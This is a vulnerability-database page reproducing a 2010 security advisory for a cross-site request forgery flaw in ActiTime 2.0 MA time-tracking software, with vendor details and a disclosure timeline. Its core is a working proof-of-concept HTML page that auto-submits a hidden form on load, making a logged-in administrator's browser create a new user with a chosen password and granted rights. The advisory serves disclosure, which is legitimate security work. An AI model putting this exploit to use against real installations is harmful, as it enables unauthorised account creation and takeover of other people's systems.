Lucene search
K
Catalog
Vendors
Products
Timeline
Vulnerabilities
Sources
Documentation
Blog
Glossary
FAQ
Brand assets
Assessment
Agents dashboard
Agent Scanning
API Scanning
Assessment API
Alerts
Email notifications
Webhook notifications
Alerts API
SBOM package analysis
API Reference
Support
Settings
Sign in

ActiTime 2.0-MA CSRF Vulnerability

🗓️ 16 Jul 2010 00:00:00Reported by MarkotType 
zdt
 zdt🔗 0day.today👁 36 Views

ActiTime 2.0-MA CSRF Vulnerability allows unauthorized commands or actions in ActiTime 2.0 MA software

Code
==================================
ActiTime 2.0-MA CSRF Vulnerability
==================================


        |------------------------------------------------------------------|
        |                         __               __                      |
        |   _________  ________  / /___ _____     / /____  ____ _____ ___  |
        |  / ___/ __ \/ ___/ _ \/ / __ `/ __ \   / __/ _ \/ __ `/ __ `__ \ |
        | / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |
        | \___/\____/_/   \___/_/\__,_/_/ /_/   \__/\___/\__,_/_/ /_/ /_/  |
        |                                                                  |
        |                                       http://www.corelan.be:8800 |
        |                                              [email protected] |
        |                                                                  |
        |-------------------------------------------------[ EIP Hunters ]--|
 
# Software      : Actitime 2.0-MA
# Author          : Markot
# Date             : July 16, 2010
# Reference    : http://www.corelan.be:8800/advisories.php?id=CORELAN-10-058
# OS                : Windows
# Tested on     : XP SP3 En (Virtual box)
# Type of vuln : CSRF
# Greetz to      : Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
#
# Note : you are not allowed to edit/modify this code.
# If you do, Corelan cannot be held responsible for any damages this may cause.
 
0x00 : Vulnerability information
 
 Product : ActiTime
 
 Version :  2.0 MA
 
 Vendor :  http://www.actimind.com
 
 URL :  http://www.actitime.com
 
 
0x01 : Vendor description of software
 
 From the vendor website:
 
"Monitor personal time expenses in everyday work, do in-depth analysis of your staff's time-track, provide your customers
 
with information on the completed work, specify time estimates for the tasks and then compare reported working time with
 
estimates and more"
 
 
0x02 : Vulnerability details
 
 CSRF
 The discovered vulnerability allows an attacker to send a type of malicious exploit crafted specifically for "ActiTime 2.0
 
MA"  whereby the Administrator could be tricked into executing unauthorized commands or actions.
 
0x03 : Proof of Concept
 
<html>
 
<body onload="document.forms['Login'].submit();">
 
<form method="POST" name="Login" action="http://192.168.125.128:80/administration/useradd.do">
<input type="hidden" name="submitted" value="1"/>
<input type="hidden" name="formDataModified" value="true"/>
<input type="hidden" name="redirectUrl" value=""/>
<input type="hidden" name="afterReloginUrl" value=""/>
<input type="hidden" name="beforeReloginUsername" value=""/>
<input type="hidden" name="username" value="Markot"/>
<input type="hidden" name="active" value="true"/>
<input type="hidden" name="passwordText" value="corelan"/>
<input type="hidden" name="passwordTextRetype" value="corelan"/>
<input type="hidden" name="firstName" value="Markot"/>
<input type="hidden" name="lastName" value="MarkotfromCorelan"/>
<input type="hidden" name="middleName" value=""/>
<input type="hidden" name="email" value="[email protected]"/>
<input type="hidden" name="phone" value=""/>
<input type="hidden" name="fax" value=""/>
<input type="hidden" name="mobile" value=""/>
<input type="hidden" name="otherContact" value=""/>
<input type="hidden" name="workdayDurationStr" value="8:00"/>
<input type="hidden" name="overtimeTrackingLevel" value="0"/>
<input type="hidden" name="hireDateStr" value="Jun 30, 2010"/>
<input type="hidden" name="hireDateStrParsed" value="2010-05-30"/>
<input type="hidden" name="releaseDateStr" value=""/>
<input type="hidden" name="releaseDateStrParsed" value=""/>
<input type="hidden" name="userRate[0].effectiveDateStr" value=""/>
<input type="hidden" name="effectiveDate0" value=""/>
<input type="hidden" name="regularRate0" value=""/>
<input type="hidden" name="userRate[0].regularRateStr" value=""/>
<input type="hidden" name="overtimeRate0" value=""/>
<input type="hidden" name="userRate[0].overtimeRateStr" value=""/>
<input type="hidden" name="userRate[0].leaveRateStr[1].rate" value=""/>
<input type="hidden" name="userRate[0].leaveRateStr[2].rate" value=""/>
<input type="hidden" name="userRate[0].leaveRateStr[3].rate" value=""/>
<input type="hidden" name="userRate[0].rateMarkedToDelete" value="0"/>
<input type="hidden" name="userRate[1].effectiveDateStr" value=""/>
<input type="hidden" name="effectiveDate1" value=""/>
<input type="hidden" name="regularRate1" value=""/>
<input type="hidden" name="userRate[1].regularRateStr" value=""/>
<input type="hidden" name="overtimeRate1" value=""/>
<input type="hidden" name="userRate[1].overtimeRateStr" value=""/>
<input type="hidden" name="userRate[1].leaveRateStr[1].rate" value=""/>
<input type="hidden" name="userRate[1].leaveRateStr[2].rate" value=""/>
<input type="hidden" name="userRate[1].leaveRateStr[3].rate" value=""/>
<input type="hidden" name="userRate[1].rateMarkedToDelete" value="0"/>
<input type="hidden" name="userRate[2].effectiveDateStr" value=""/>
<input type="hidden" name="effectiveDate2" value=""/>
<input type="hidden" name="regularRate2" value=""/>
<input type="hidden" name="userRate[2].regularRateStr" value=""/>
<input type="hidden" name="overtimeRate2" value=""/>
<input type="hidden" name="userRate[2].overtimeRateStr" value=""/>
<input type="hidden" name="userRate[2].leaveRateStr[1].rate" value=""/>
<input type="hidden" name="userRate[2].leaveRateStr[2].rate" value=""/>
<input type="hidden" name="userRate[2].leaveRateStr[3].rate" value=""/>
<input type="hidden" name="userRate[2].rateMarkedToDelete" value="0"/>
<input type="hidden" name="userRate[3].effectiveDateStr" value=""/>
<input type="hidden" name="effectiveDate3" value=""/>
<input type="hidden" name="regularRate3" value=""/>
<input type="hidden" name="userRate[3].regularRateStr" value=""/>
<input type="hidden" name="overtimeRate3" value=""/>
<input type="hidden" name="userRate[3].overtimeRateStr" value=""/>
<input type="hidden" name="userRate[3].leaveRateStr[1].rate" value=""/>
<input type="hidden" name="userRate[3].leaveRateStr[2].rate" value=""/>
<input type="hidden" name="userRate[3].leaveRateStr[3].rate" value=""/>
<input type="hidden" name="userRate[3].rateMarkedToDelete" value="0"/>
<input type="hidden" name="userRate[4].effectiveDateStr" value=""/>
<input type="hidden" name="effectiveDate4" value=""/>
<input type="hidden" name="regularRate4" value=""/>
<input type="hidden" name="userRate[4].regularRateStr" value=""/>
<input type="hidden" name="overtimeRate4" value=""/>
<input type="hidden" name="userRate[4].overtimeRateStr" value=""/>
<input type="hidden" name="userRate[4].leaveRateStr[1].rate" value=""/>
<input type="hidden" name="userRate[4].leaveRateStr[2].rate" value=""/>
<input type="hidden" name="userRate[4].leaveRateStr[3].rate" value=""/>
<input type="hidden" name="userRate[4].rateMarkedToDelete" value="0"/>
<input type="hidden" name="rightGranted[9]" value="on"/>
<input type="hidden" name="rightGranted[5]" value="on"/>
<input type="hidden" name="customersProjectsSelector.customerList" value=""/>
<input type="hidden" name="customersProjectsSelector.projectList" value=""/>
<input type="hidden" name="customersProjectsSelector.coarseSelection" value="specific"/>
 
</form>
</body>
</html>
 
 
 
0x04 : Author/Vendor communication
 
July 4 2010 : Vendor contacted
 
July 11 2010: reminder sent, no feedback received
 
July 16 2010: public disclosure
 
 
 
 
 
This transmission is intended only for use by the intended recipient(s).  If you are not an intended recipient you should not read, disclose, copy, circulate or in any other way use the information contained in this transmission.  The information contained in this transmission may be confidential and/or privileged.  If you have received this transmission in error, please notify the sender immediately and delete this transmission including any attachments.



#  0day.today [2018-04-12]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

Book a live demo
16 Jul 2010 00:00Current
7.1High risk
Vulners AI Score7.1
actitimecsrfvulnerabilityunauthorized commandsweb applicationsecurity bug
36